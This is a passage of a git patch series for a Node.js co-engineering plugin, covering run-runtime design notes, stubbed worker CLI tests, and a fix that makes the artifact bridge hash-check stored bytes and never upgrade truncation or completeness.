} +``` + +The options object has exactly those nine keys. Extra keys, proxies, +missing methods, and non-functions fail closed. Tests inject scoped +stubs. Later lead composition injects the accepted scheduler result, +artifact-bridge result, and supervisor lifecycle exports. + +`clock()` must return a UTC ISO-8601 timestamp or a safe epoch +millisecond count. + +## Exact identity and one submission + +`submitRun` requires the closed P24 body (`run_id`, +`request_idempotency_key`, `identity`, `git`, `provenance`, `telemetry`) +plus `assignments` (1–8). `git.base_sha` is the immutable run base. + +The first exact body is the only dispatch. Durable P24 identity is the +one-submission authority: `scheduler.submitAssignments` runs only when +`runStore.submit` returns `created: true`. Exact resubmit returns +`status: "idempotent"` and does not call the scheduler again. A different +assignment body for the same `run_id` fails `runtime_identity_conflict`. + +Replay, fallback, direct-mode, merge/push/create-PR, GitHub/remote, +worktree/branch/lock, candidate, and `lifecycle_root` keys fail closed +with precise codes. + +## P27 / R24A / R25B + +If `aggregateAnchor.getCoordination(run_id)` exists and is not +`resolution_ready`, dispatch fails `runtime_selection_unresolved` with +zero scheduler calls and no P24 write. That is how this module consumes +ask-once P27 without owning selection persistence. When coordination is +`resolution_ready`, the journal path is R25B aggregate create/open. +When no aggregate run exists, the journal path is legacy P25 bound to +the P24 record. + +## Restart, cursor, and attention + +`resumeRun` inspects exact stored identities through the injected +scheduler. Cursor rows must bind the exact `assignment_id` and +`task_id`. Optional `attention_items` are latched through P34 at the +current P25 revision/head and task cursors. Routine progress never +wakes (`wake: false`). Unsupported same-session items cancel only the +affected lane through the injected scheduler. + +## Lifecycle finality + +P33 consumes `settleLocalTaskLifecycle(root, task, runtime, dependencies)` +and `cleanupLocalTaskLifecycle(...)`. It always passes `root = null` and +identity-only `task` / `runtime` objects. It never imports +`acp-worker.mjs` or `process-boundary.mjs`, and it never inspects +`/proc`, systemd, cgroupfs, or WTB locks. + +A child terminal scheduler status is accepted into the P25 journal only +when settlement returns `final: true`. Otherwise the lane projects +`lifecycle_pending`, candidate completeness stays blocked, and no +`child_terminal` event is appended. Cleanup status/code and exact +`task_id` are copied into run evidence. `cleanupLocalTaskLifecycle` is +called idempotently on terminal, cancel, and restart. + +## Proof-bound cleanup + +`cancelRun({ run_id, assignment_ids, cleanup? })` cancels only the named +lanes. Artifact cleanup runs only when `cleanup: true` **and** every +targeted lane has `final: true`. The artifact bridge receives +`proof: { run_id, assignment_ids }`. Missing finality fails +`runtime_cleanup_unproven` without removing artifacts. Worktrees, +branches, locks, task receipts, and candidate refs are never deleted +here. + +## Receipts + +Receipts are detached and deeply frozen. They carry exact run/assignment +identity, journal revision/head, attention evidence, sanitized lifecycle +cleanup, checks, and an all-false remote-mutation map. They never echo +credentials, paths, raw stub errors, or provider transcripts. + +## Composition + +| Surface | Owner | Use here | +| --- | --- | --- | +| P24 durable run identity | injected `runStore` | one-submission idempotency | +| P25 six-kind journal | injected `runJournal.create/open` | `run_opened`, `child_started`, `child_progress`, `child_terminal`, `run_terminal` | +| R24A coordination | injected `aggregateAnchor.getCoordination` | `resolution_ready` gate | +| R25B aggregate journal | injected `runJournal.createAggregate/openAggregate` | journal path after P27 | +| P27 ask-once selection | already persisted on R24A | not imported; unresolved phases fail closed | +| P34 attention batch | injected `attentionBatch` | decision evidence | +| Scheduler / artifact bridge | injected results | never imported | +| Supervisor lifecycle | injected functions | finality before child terminal; idempotent cleanup | +| Server / candidate / Gate A | later slices | not imported | + +## Non-goals + +No scheduler, artifact-bridge, worker, process-boundary, supervisor, +server, candidate-ref, CHANGELOG, future-work, version, release, merge, +rebase, push, PR, tag, or remote mutation implementation. Gate A is not +claimed. + +## Testing + +``` +node --no-warnings --test test/r1-run-runtime.test.mjs \ + test/r1-run-runtime-adversarial.test.mjs \ + test/r1-run-runtime-dependencies.test.mjs +``` From 9b6af6663ff1241631a5a3416330752e00495d36 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 23:04:57 +0000 Subject: [PATCH 135/151] test(worker): isolate adversarial CLI close from ambient WTB Pin the hostile CLI close-timeout regression against ambient WORKTREE_BOOTSTRAP_TASK and related WTB keys by injecting runFileImpl and explicit env shapes so real worktree-bootstrap verify cannot execute. --- ...-terminal-worker-exit-adversarial.test.mjs | 158 +++++++++++++----- 1 file changed, 112 insertions(+), 46 deletions(-) diff --git a/plugins/codex-co-engineer/test/r1-terminal-worker-exit-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-terminal-worker-exit-adversarial.test.mjs index 08701ee..19ad2ff 100644 --- a/plugins/codex-co-engineer/test/r1-terminal-worker-exit-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-terminal-worker-exit-adversarial.test.mjs @@ -34,6 +34,52 @@ import { const HERE = path.dirname(fileURLToPath(import.meta.url)); const FAKE_AGENT = path.join(HERE, 'acpx-fake-agent.mjs'); +const WTB_RELATED_KEYS = [ + 'WORKTREE_BOOTSTRAP_TASK', + 'WORKTREE_BOOTSTRAP_BRANCH', + 'WORKTREE_BOOTSTRAP_MANIFEST', + 'WORKTREE_BOOTSTRAP_START_SHA', + 'WORKTREE_BOOTSTRAP_WRITER_TOKEN', +]; + +function deploymentShapedWtbEnv(taskName) { + return { + WORKTREE_BOOTSTRAP_TASK: taskName, + WORKTREE_BOOTSTRAP_BRANCH: 'codex/cli-close-timeout', + WORKTREE_BOOTSTRAP_MANIFEST: '/nonexistent/wtb-manifest.json', + WORKTREE_BOOTSTRAP_START_SHA: '0'.repeat(40), + WORKTREE_BOOTSTRAP_WRITER_TOKEN: 'hostile-writer-token', + }; +} + +function sanitizedWtbEnv() { + return {}; +} + +function stubWtbRunFile(calls) { + return async (command, argv = []) => { + calls.push({ command, argv: [...argv] }); + assert.equal(command, 'worktree-bootstrap'); + assert.equal(path.basename(command), command); + return { stdout: '{}' }; + }; +} + +function assertStubbedWtbOnly(calls, { env, cwd }) { + assert.notEqual(env, process.env); + for (const key of WTB_RELATED_KEYS) { + if (!env.WORKTREE_BOOTSTRAP_TASK) assert.equal(Object.hasOwn(env, key), false); + } + if (env.WORKTREE_BOOTSTRAP_TASK) { + assert.equal(calls.length, 1); + assert.deepEqual(calls[0], { + command: 'worktree-bootstrap', + argv: ['verify', env.WORKTREE_BOOTSTRAP_TASK, '--repo', cwd, '--require-writer'], + }); + } else { + assert.equal(calls.length, 0); + } +} async function fixture(extra = {}) { const root = await mkdtemp(path.join(tmpdir(), 'co-engineer-worker-exit-adv-')); @@ -153,55 +199,75 @@ test('failed WTB handoff is cleanup_failed and content-free', async () => { }); test('CLI timeout of resource close still emits stdout and exits without replay', async () => { - const value = await fixture({ id: 'cli-close-timeout' }); - await writeRuntimeRecord(value.root, value.taskId, { pid: process.pid }); - const requestPath = path.join(value.root, 'tasks', value.taskId, 'worker-request.json'); - await writeFile(requestPath, `${JSON.stringify({ root: value.root, task_id: value.taskId })}\n`); - const writes = []; - const exits = []; - await runAcpWorkerCli(['--request', requestPath], { - runAcpTaskImpl: async () => persistWorkerTerminal(value.root, value.taskId, { - status: 'completed', - fallback_safe: false, - }, { - acp_close: 'timeout', - codes: [WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT], - }, { wtb_handoff: 'not_applicable' }), - handoffImpl: async () => { - const current = (await readTask(value.root, value.taskId)).task; - assert.equal(current.fallback_safe, false); - assert.equal(current.cleanup.code, WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); - return { attempted: false, wtb_handoff: 'not_applicable', task: current }; - }, - stdoutWrite: (chunk) => writes.push(chunk), - stderrWrite() {}, - exit: (code) => exits.push(code), - }); - assert.equal(exits[0], 0); - assert.equal(JSON.parse(writes[0]).task_id, value.taskId); - assert.equal((await readTask(value.root, value.taskId)).task.fallback_safe, false); + for (const env of [ + deploymentShapedWtbEnv('cli-close-timeout'), + sanitizedWtbEnv(), + ]) { + const value = await fixture({ id: 'cli-close-timeout' }); + await writeRuntimeRecord(value.root, value.taskId, { pid: process.pid }); + const requestPath = path.join(value.root, 'tasks', value.taskId, 'worker-request.json'); + await writeFile(requestPath, `${JSON.stringify({ root: value.root, task_id: value.taskId })}\n`); + const writes = []; + const exits = []; + const wtbCalls = []; + await runAcpWorkerCli(['--request', requestPath], { + env, + cwd: value.cwd, + runFileImpl: stubWtbRunFile(wtbCalls), + runAcpTaskImpl: async () => persistWorkerTerminal(value.root, value.taskId, { + status: 'completed', + fallback_safe: false, + }, { + acp_close: 'timeout', + codes: [WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT], + }, { wtb_handoff: 'not_applicable' }), + handoffImpl: async () => { + const current = (await readTask(value.root, value.taskId)).task; + assert.equal(current.fallback_safe, false); + assert.equal(current.cleanup.code, WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + return { attempted: false, wtb_handoff: 'not_applicable', task: current }; + }, + stdoutWrite: (chunk) => writes.push(chunk), + stderrWrite() {}, + exit: (code) => exits.push(code), + }); + assert.equal(exits[0], 0); + assert.equal(JSON.parse(writes[0]).task_id, value.taskId); + assert.equal((await readTask(value.root, value.taskId)).task.fallback_safe, false); + assertStubbedWtbOnly(wtbCalls, { env, cwd: value.cwd }); + } }); test('incident-shaped CLI success without cleanup is denied stdout', async () => { - const value = await fixture({ id: 'incident-cli' }); - await writeRuntimeRecord(value.root, value.taskId, { pid: process.pid }); - const requestPath = path.join(value.root, 'tasks', value.taskId, 'worker-request.json'); - await writeFile(requestPath, `${JSON.stringify({ root: value.root, task_id: value.taskId })}\n`); - const writes = []; - const exits = []; - await runAcpWorkerCli(['--request', requestPath], { - runAcpTaskImpl: async () => incidentReceipt(INCIDENT_1, { id: value.taskId }), - handoffImpl: async () => ({ - attempted: false, - wtb_handoff: 'not_applicable', - task: incidentReceipt(INCIDENT_1, { id: value.taskId }), - }), - stdoutWrite: (chunk) => writes.push(chunk), - stderrWrite() {}, - exit: (code) => exits.push(code), - }); - assert.equal(writes.length, 0); - assert.equal(exits[0], 1); + for (const env of [ + deploymentShapedWtbEnv('incident-cli'), + sanitizedWtbEnv(), + ]) { + const value = await fixture({ id: 'incident-cli' }); + await writeRuntimeRecord(value.root, value.taskId, { pid: process.pid }); + const requestPath = path.join(value.root, 'tasks', value.taskId, 'worker-request.json'); + await writeFile(requestPath, `${JSON.stringify({ root: value.root, task_id: value.taskId })}\n`); + const writes = []; + const exits = []; + const wtbCalls = []; + await runAcpWorkerCli(['--request', requestPath], { + env, + cwd: value.cwd, + runFileImpl: stubWtbRunFile(wtbCalls), + runAcpTaskImpl: async () => incidentReceipt(INCIDENT_1, { id: value.taskId }), + handoffImpl: async () => ({ + attempted: false, + wtb_handoff: 'not_applicable', + task: incidentReceipt(INCIDENT_1, { id: value.taskId }), + }), + stdoutWrite: (chunk) => writes.push(chunk), + stderrWrite() {}, + exit: (code) => exits.push(code), + }); + assert.equal(writes.length, 0); + assert.equal(exits[0], 1); + assertStubbedWtbOnly(wtbCalls, { env, cwd: value.cwd }); + } }); test('timeout, cancel, and transport_lost keep their semantics and do not replay', async () => { From 7797adc984fd17aa05c8b72ade252362f8d1046e Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 23:06:11 +0000 Subject: [PATCH 136/151] fix(run): bind capture readback and never upgrade truncation Projection may keep or downgrade truncation/completeness and represents missing redaction, version, and completeness as unknown. Capture re-hashes stored bytes and fails closed on mismatch, substitution, partial reads, or stale artifacts. --- docs/run-artifact-bridge.md | 25 ++- .../mcp/v3/run-artifact-bridge.mjs | 176 ++++++++++++------ .../r1-run-artifact-bridge-fixtures.mjs | 31 ++- ...1-run-artifact-bridge-adversarial.test.mjs | 138 ++++++++++++++ .../test/r1-run-artifact-bridge.test.mjs | 62 ++++++ 5 files changed, 360 insertions(+), 72 deletions(-) diff --git a/docs/run-artifact-bridge.md b/docs/run-artifact-bridge.md index e353920..22efbc9 100644 --- a/docs/run-artifact-bridge.md +++ b/docs/run-artifact-bridge.md @@ -43,8 +43,10 @@ with exactly: The bridge never imports those implementations. Tests use scoped in-memory stubs. A later runtime lane may inject the accepted P08/P09/P13 authorities. -Raw store records are `{ artifact_ref, bytes }`. `list({ run_id })` must -return only that run; a foreign `run_id` fails closed and prevents cleanup. +Raw store records are `{ artifact_ref, bytes }` and may round-trip +capture provenance `source_truncated`. Missing provenance is unknown. +`list({ run_id })` must return only that run; a foreign `run_id` fails +closed and prevents cleanup. `sanitize({ artifact_ref, source, source_truncated })` must return a sanitized-class `ArtifactRefV1` for the same run, assignment, kind, and @@ -67,10 +69,14 @@ must stay under `runs///`. Path authority cannot broaden to another run, a parent segment, a worktree, or a candidate ref. The raw ref is published through `rawStore.publish` and re-read before the -receipt is returned. The sanitizer is asked for the matching sanitized +receipt is returned. Readback is bound to the captured bytes: the stored +payload is hashed and must match the captured digest and identity. A +hash mismatch, substituted payload, partial read, missing bytes, or stale +artifact fails closed. The sanitizer is asked for the matching sanitized ref. The receipt is detached and frozen. It carries raw and sanitized -refs, redaction metadata, and `created`. It never includes source bytes, -store roots, or live handles. +refs, redaction metadata, truncation/completeness, and `created`. It +never includes source bytes, store roots, or live handles. Missing +sanitizer redaction or version evidence is `null`, never `0` or `1`. An identical digest at the same identity is a restart replay (`created: false`) and does not duplicate storage. A different payload at @@ -92,6 +98,15 @@ raw bytes, credentials, prompt text, and store roots are absent. A credential pattern that survives the sanitizer fails closed rather than being projected. +Projection preserves authoritative `redaction_count`, `sanitizer_version`, +`source_truncated`, and `complete` when the sanitizer supplies them. +Missing values stay `null`; the bridge never fabricates `0`, `1`, `false`, +or `true`. Truncation is absorbing: projection may keep or mark a source +truncated/incomplete, but it never upgrades truncated evidence to +complete. Capture provenance `source_truncated` is passed through on +restart rather than reset to `false`. `reader_clipped` / `more` remain +paging facts and are distinct from source completeness. + Restart constructs a new bridge over the same injected raw store. Projection re-reads raw bytes and re-sanitizes; it does not invent artifacts. diff --git a/plugins/codex-co-engineer/mcp/v3/run-artifact-bridge.mjs b/plugins/codex-co-engineer/mcp/v3/run-artifact-bridge.mjs index a7b801e..258c387 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-artifact-bridge.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-artifact-bridge.mjs @@ -9,17 +9,22 @@ // - cleanupRunArtifacts removes only proof-bound artifacts of that run // // Raw bytes never become model-facing. Sanitized projections are size-capped -// and credential-scanned. Cleanup cannot name another run, broaden a path, -// or delete worktrees, branches, locks, candidate refs, or task receipts. -// Restart rereads injected raw storage and re-projects; it does not invent -// captures or claim cleanup that the store cannot prove. +// and credential-scanned. Projection may keep or downgrade truncation and +// completeness; it never upgrades them, and missing redaction, version, or +// completeness evidence stays unknown instead of becoming a reassuring +// default. Capture readback hashes stored bytes and fails closed on +// mismatch, substitution, a partial read, or a stale identity. Cleanup +// cannot name another run, broaden a path, or delete worktrees, branches, +// locks, candidate refs, or task receipts. Restart rereads injected raw +// storage and re-projects; it does not invent captures or claim cleanup +// that the store cannot prove. // // This module does not import or own the P08 store, P09 sanitizer, P13 // evidence bundle, run runtime, scheduler, lifecycle, server, or candidate // surfaces. Callers inject those seams. It does not claim Gate A or release. import { Buffer as NodeBuffer } from 'node:buffer'; -import { createHash } from 'node:crypto'; +import { createHash, timingSafeEqual } from 'node:crypto'; import { types as utilTypes } from 'node:util'; import { validateArtifactRelativePathV1 } from './artifact-path.mjs'; @@ -150,6 +155,7 @@ export const PROJECTION_ARTIFACT_KEYS = capturedFreeze([ 'relative_path', 'sanitized_byte_length', 'sanitized_ref', + 'sanitizer_version', 'selected', 'selected_byte_length', 'selected_encoding', @@ -270,6 +276,7 @@ const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); const BUFFER_ALLOC = NodeBuffer.alloc.bind(NodeBuffer); const BUFFER_IS_BUFFER = NodeBuffer.isBuffer.bind(NodeBuffer); const CREATE_HASH = createHash; +const TIMING_SAFE_EQUAL = timingSafeEqual; const IS_PROXY = utilTypes.isProxy; const IS_UINT8_ARRAY = utilTypes.isUint8Array; const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; @@ -404,6 +411,38 @@ function digestOf(bytes) { return CREATE_HASH(HASH_ALGORITHM).update(bytes).digest('hex'); } +function hashesEqual(left, right) { + if (typeof left !== 'string' || typeof right !== 'string' || left.length !== right.length) { + return false; + } + const leftBytes = BUFFER_FROM(left, 'utf8'); + const rightBytes = BUFFER_FROM(right, 'utf8'); + if (leftBytes.byteLength !== rightBytes.byteLength) return false; + return TIMING_SAFE_EQUAL(leftBytes, rightBytes); +} + +function optionalBoolean(container, key, field, code) { + if (!hasOwn(container, key)) return null; + const flag = optOwn(container, key); + if (flag !== true && flag !== false) { + failBridge(code, field, CONTENT_FREE[code]); + } + return flag === true; +} + +function latchTruncation(authoritative, incoming) { + if (authoritative === true || incoming === true) return true; + if (authoritative === false) return false; + if (incoming === false) return false; + return null; +} + +function latchComplete(truncated, incoming) { + if (truncated === true) return false; + if (incoming === true || incoming === false) return incoming; + return null; +} + function copyBytes(bytes, field) { assertNotProxy(bytes, field); if (BUFFER_IS_BUFFER(bytes) || IS_UINT8_ARRAY(bytes)) { @@ -594,7 +633,9 @@ function unwrapStoreRecord(record, field) { if (hasOwn(record, 'bytes')) { bytes = copyBytes(optOwn(record, 'bytes'), `${field}.bytes`); } - return { artifact_ref: artifactRef, bytes }; + const sourceTruncated = optionalBoolean(record, 'source_truncated', + `${field}.source_truncated`, 'artifact_bridge_store_failed'); + return { artifact_ref: artifactRef, bytes, source_truncated: sourceTruncated }; } async function callInjected(method, args, code, field) { @@ -674,7 +715,7 @@ function parseSanitizedProjection(rawRef, sanitized, field) { CONTENT_FREE.artifact_bridge_sanitizer_failed); } assertNoCredentialLeak(bytes, `${field}.bytes`); - let redactionCount = 0; + let redactionCount = null; if (hasOwn(sanitized, 'redaction_count')) { redactionCount = optOwn(sanitized, 'redaction_count'); if (typeof redactionCount !== 'number' || !NUMBER_IS_SAFE_INTEGER(redactionCount) @@ -683,7 +724,7 @@ function parseSanitizedProjection(rawRef, sanitized, field) { CONTENT_FREE.artifact_bridge_sanitizer_failed); } } - let sanitizerVersion = 1; + let sanitizerVersion = null; if (hasOwn(sanitized, 'sanitizer_version')) { sanitizerVersion = optOwn(sanitized, 'sanitizer_version'); if (typeof sanitizerVersion !== 'number' || !NUMBER_IS_SAFE_INTEGER(sanitizerVersion) @@ -692,24 +733,10 @@ function parseSanitizedProjection(rawRef, sanitized, field) { CONTENT_FREE.artifact_bridge_sanitizer_failed); } } - let sourceTruncated = false; - if (hasOwn(sanitized, 'source_truncated')) { - const flag = optOwn(sanitized, 'source_truncated'); - if (flag !== true && flag !== false) { - failBridge('artifact_bridge_sanitizer_failed', `${field}.source_truncated`, - CONTENT_FREE.artifact_bridge_sanitizer_failed); - } - sourceTruncated = flag === true; - } - let complete = sourceTruncated !== true; - if (hasOwn(sanitized, 'complete')) { - const flag = optOwn(sanitized, 'complete'); - if (flag !== true && flag !== false) { - failBridge('artifact_bridge_sanitizer_failed', `${field}.complete`, - CONTENT_FREE.artifact_bridge_sanitizer_failed); - } - complete = flag === true; - } + const sourceTruncated = optionalBoolean(sanitized, 'source_truncated', + `${field}.source_truncated`, 'artifact_bridge_sanitizer_failed'); + const complete = optionalBoolean(sanitized, 'complete', `${field}.complete`, + 'artifact_bridge_sanitizer_failed'); return { sanitized_ref: sanitizedRef, bytes, @@ -770,6 +797,7 @@ function projectionArtifact(rawRef, projection, offset, maxBytes) { selected_byte_length: window.selected_byte_length, offset: window.offset, redaction_count: projection.redaction_count, + sanitizer_version: projection.sanitizer_version, source_truncated: projection.source_truncated, complete: projection.complete, reader_clipped: window.reader_clipped, @@ -842,13 +870,38 @@ async function loadAssignmentRaw(rawStore, runId, assignmentId) { return matched; } +function bindCapturedReadback(expectedRef, record, field) { + if (record === null || record.bytes === null) { + failBridge('artifact_bridge_store_failed', field, CONTENT_FREE.artifact_bridge_store_failed); + } + const ref = record.artifact_ref; + assertSameIdentity(ref, expectedRef.run_id, expectedRef.assignment_id, field); + assertRawClass(ref, `${field}.artifact_class`); + if (compareArtifactRefsV1(ref, expectedRef) !== 0) { + failBridge('artifact_bridge_store_failed', field, CONTENT_FREE.artifact_bridge_store_failed); + } + const bytes = record.bytes; + if (bytes.byteLength !== expectedRef.byte_length) { + failBridge('artifact_bridge_store_failed', field, CONTENT_FREE.artifact_bridge_store_failed); + } + const byteHash = digestOf(bytes); + if (!hashesEqual(byteHash, expectedRef.sha256) || !hashesEqual(ref.sha256, byteHash)) { + failBridge('artifact_bridge_store_failed', field, CONTENT_FREE.artifact_bridge_store_failed); + } + return { + artifact_ref: ref, + bytes: BUFFER_FROM(bytes), + byte_hash: byteHash, + source_truncated: record.source_truncated, + }; +} + async function materializeRaw(rawStore, record, runId, assignmentId) { const ref = record.artifact_ref; assertSameIdentity(ref, runId, assignmentId, 'artifact_ref'); assertRawClass(ref, 'artifact_ref.artifact_class'); - if (record.bytes && record.bytes.byteLength === ref.byte_length - && digestOf(record.bytes) === ref.sha256) { - return { artifact_ref: ref, bytes: BUFFER_FROM(record.bytes) }; + if (record.bytes !== null) { + return bindCapturedReadback(ref, record, 'rawStore.list'); } const fetched = unwrapStoreRecord( await callInjected(rawStore.get, { @@ -862,23 +915,29 @@ async function materializeRaw(rawStore, record, runId, assignmentId) { failBridge('artifact_bridge_not_found', 'rawStore.get', CONTENT_FREE.artifact_bridge_not_found); } - assertSameIdentity(fetched.artifact_ref, runId, assignmentId, 'rawStore.get'); - assertRawClass(fetched.artifact_ref, 'rawStore.get.artifact_class'); - if (fetched.bytes.byteLength !== fetched.artifact_ref.byte_length - || digestOf(fetched.bytes) !== fetched.artifact_ref.sha256) { - failBridge('artifact_bridge_store_failed', 'rawStore.get', - CONTENT_FREE.artifact_bridge_store_failed); - } - return fetched; + return bindCapturedReadback(ref, fetched, 'rawStore.get'); } async function projectOne(sanitizer, rawRecord, sourceTruncated) { - const sanitized = await callInjected(sanitizer.sanitize, { + const request = { artifact_ref: rawRecord.artifact_ref, source: BUFFER_FROM(rawRecord.bytes), - source_truncated: sourceTruncated === true, - }, 'artifact_bridge_sanitizer_failed', 'sanitizer'); - return parseSanitizedProjection(rawRecord.artifact_ref, sanitized, 'sanitizer'); + }; + if (sourceTruncated === true || sourceTruncated === false) { + request.source_truncated = sourceTruncated; + } + const sanitized = await callInjected(sanitizer.sanitize, request, + 'artifact_bridge_sanitizer_failed', 'sanitizer'); + const projection = parseSanitizedProjection(rawRecord.artifact_ref, sanitized, 'sanitizer'); + const truncated = latchTruncation(sourceTruncated, projection.source_truncated); + return { + sanitized_ref: projection.sanitized_ref, + bytes: projection.bytes, + redaction_count: projection.redaction_count, + sanitizer_version: projection.sanitizer_version, + source_truncated: truncated, + complete: latchComplete(truncated, projection.complete), + }; } export function describeRunArtifactBridgeV1() { @@ -938,17 +997,13 @@ export function createRunArtifactBridge(options) { failBridge('artifact_bridge_restart_conflict', 'options.source', CONTENT_FREE.artifact_bridge_restart_conflict); } - const replayBytes = existing.bytes === null - ? fields.bytes - : existing.bytes; - if (digestOf(replayBytes) !== rawRef.sha256) { + const bound = bindCapturedReadback(existing.artifact_ref, existing, 'rawStore.get'); + if (!hashesEqual(bound.byte_hash, rawRef.sha256)) { failBridge('artifact_bridge_restart_conflict', 'options.source', CONTENT_FREE.artifact_bridge_restart_conflict); } - const projection = await projectOne(sanitizer, { - artifact_ref: existing.artifact_ref, - bytes: replayBytes, - }, fields.sourceTruncated); + const latchedTruncated = latchTruncation(bound.source_truncated, fields.sourceTruncated); + const projection = await projectOne(sanitizer, bound, latchedTruncated); await appendEvidence(evidenceBundle, { kind: 'capture', code: 'replayed', @@ -958,7 +1013,10 @@ export function createRunArtifactBridge(options) { artifact_digest: rawRef.sha256, recorded_at: now, }); - return captureReceipt(fields, existing.artifact_ref, projection, now, false); + return captureReceipt({ + ...fields, + sourceTruncated: latchedTruncated === true, + }, existing.artifact_ref, projection, now, false); } const siblings = await loadAssignmentRaw(rawStore, fields.runId, fields.assignmentId); @@ -969,6 +1027,7 @@ export function createRunArtifactBridge(options) { await callInjected(rawStore.publish, { artifact_ref: rawRef, bytes: BUFFER_FROM(fields.bytes), + source_truncated: fields.sourceTruncated === true, }, 'artifact_bridge_store_failed', 'rawStore.publish'); const verified = unwrapStoreRecord( @@ -979,13 +1038,9 @@ export function createRunArtifactBridge(options) { }, 'artifact_bridge_store_failed', 'rawStore.get'), 'rawStore.get', ); - if (verified === null || verified.bytes === null - || verified.artifact_ref.sha256 !== rawRef.sha256) { - failBridge('artifact_bridge_store_failed', 'rawStore.get', - CONTENT_FREE.artifact_bridge_store_failed); - } - assertRawClass(verified.artifact_ref, 'rawStore.get.artifact_class'); - const projection = await projectOne(sanitizer, verified, fields.sourceTruncated); + const bound = bindCapturedReadback(rawRef, verified, 'rawStore.get'); + const latchedTruncated = latchTruncation(bound.source_truncated, fields.sourceTruncated); + const projection = await projectOne(sanitizer, bound, latchedTruncated); await appendEvidence(evidenceBundle, { kind: 'capture', code: 'captured', @@ -995,7 +1050,10 @@ export function createRunArtifactBridge(options) { artifact_digest: rawRef.sha256, recorded_at: now, }); - return captureReceipt(fields, verified.artifact_ref, projection, now, true); + return captureReceipt({ + ...fields, + sourceTruncated: latchedTruncated === true, + }, bound.artifact_ref, projection, now, true); } async function projectAssignmentArtifacts(input) { @@ -1006,7 +1064,7 @@ export function createRunArtifactBridge(options) { for (let index = 0; index < listed.length; index += 1) { const rawRecord = await materializeRaw(rawStore, listed[index], fields.runId, fields.assignmentId); - const projection = await projectOne(sanitizer, rawRecord, false); + const projection = await projectOne(sanitizer, rawRecord, rawRecord.source_truncated); artifacts.push(projectionArtifact(rawRecord.artifact_ref, projection, fields.offset, fields.maxBytes)); } diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-artifact-bridge-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-artifact-bridge-fixtures.mjs index fc8aabd..da66394 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-run-artifact-bridge-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-artifact-bridge-fixtures.mjs @@ -44,30 +44,42 @@ export function makeRawStore() { `${runId}\u0000${assignmentId}\u0000${relativePath}`; return { - async publish({ artifact_ref, bytes }) { + async publish({ artifact_ref, bytes, source_truncated }) { const key = keyOf(artifact_ref.run_id, artifact_ref.assignment_id, artifact_ref.relative_path); - records.set(key, { + const record = { artifact_ref: { ...artifact_ref }, bytes: Buffer.from(bytes), - }); + }; + if (source_truncated === true || source_truncated === false) { + record.source_truncated = source_truncated; + } + records.set(key, record); return { artifact_ref: { ...artifact_ref } }; }, async get({ run_id, assignment_id, relative_path }) { const record = records.get(keyOf(run_id, assignment_id, relative_path)); if (!record) return null; - return { + const view = { artifact_ref: { ...record.artifact_ref }, bytes: Buffer.from(record.bytes), }; + if (record.source_truncated === true || record.source_truncated === false) { + view.source_truncated = record.source_truncated; + } + return view; }, async list({ run_id }) { const listed = []; for (const record of records.values()) { if (record.artifact_ref.run_id !== run_id) continue; - listed.push({ + const view = { artifact_ref: { ...record.artifact_ref }, bytes: Buffer.from(record.bytes), - }); + }; + if (record.source_truncated === true || record.source_truncated === false) { + view.source_truncated = record.source_truncated; + } + listed.push(view); } return listed; }, @@ -86,7 +98,10 @@ export function makeRawStore() { }; } -export function makeSanitizer({ secrets = [HOSTILE_SECRET, HOSTILE_TOKEN, HOSTILE_BEARER] } = {}) { +export function makeSanitizer({ + secrets = [HOSTILE_SECRET, HOSTILE_TOKEN, HOSTILE_BEARER], + sanitizerVersion = 1, +} = {}) { return { async sanitize({ artifact_ref, source, source_truncated }) { let text = Buffer.from(source).toString('utf8'); @@ -112,7 +127,7 @@ export function makeSanitizer({ secrets = [HOSTILE_SECRET, HOSTILE_TOKEN, HOSTIL }, bytes, redaction_count: redactionCount, - sanitizer_version: 1, + sanitizer_version: sanitizerVersion, source_truncated: source_truncated === true, complete: source_truncated !== true, }; diff --git a/plugins/codex-co-engineer/test/r1-run-artifact-bridge-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-artifact-bridge-adversarial.test.mjs index 10e5e26..62796d4 100644 --- a/plugins/codex-co-engineer/test/r1-run-artifact-bridge-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-artifact-bridge-adversarial.test.mjs @@ -298,3 +298,141 @@ test('store exceptions become content-free store failures', async () => { assert.equal(error.code, 'artifact_bridge_store_failed'); assertContentFree(error); }); + +function wrapGet(inner, mutate) { + return { + publish: inner.publish.bind(inner), + list: inner.list.bind(inner), + remove: inner.remove.bind(inner), + async get(query) { + const record = await inner.get(query); + return mutate(record); + }, + }; +} + +test('projection never upgrades truncation or completeness from a lying sanitizer', async () => { + const upgrading = { + async sanitize({ artifact_ref, source }) { + const honest = await makeSanitizer().sanitize({ + artifact_ref, + source, + source_truncated: false, + }); + return { + ...honest, + source_truncated: false, + complete: true, + }; + }, + }; + const rawStore = makeRawStore(); + const { bridge } = makeBridge({ rawStore, sanitizer: upgrading }); + const captured = await bridge.captureAssignmentArtifacts(captureInput({ + source_truncated: true, + })); + assert.equal(captured.source_truncated, true); + assert.equal(captured.complete, false); + const projection = await bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(projection.artifacts[0].source_truncated, true); + assert.equal(projection.artifacts[0].complete, false); + + const restarted = makeBridge({ rawStore, sanitizer: upgrading }); + const again = await restarted.bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(again.artifacts[0].source_truncated, true); + assert.equal(again.artifacts[0].complete, false); +}); + +test('projection represents missing redaction, version, and completeness as unknown', async () => { + const mute = { + async sanitize({ artifact_ref, source }) { + const honest = await 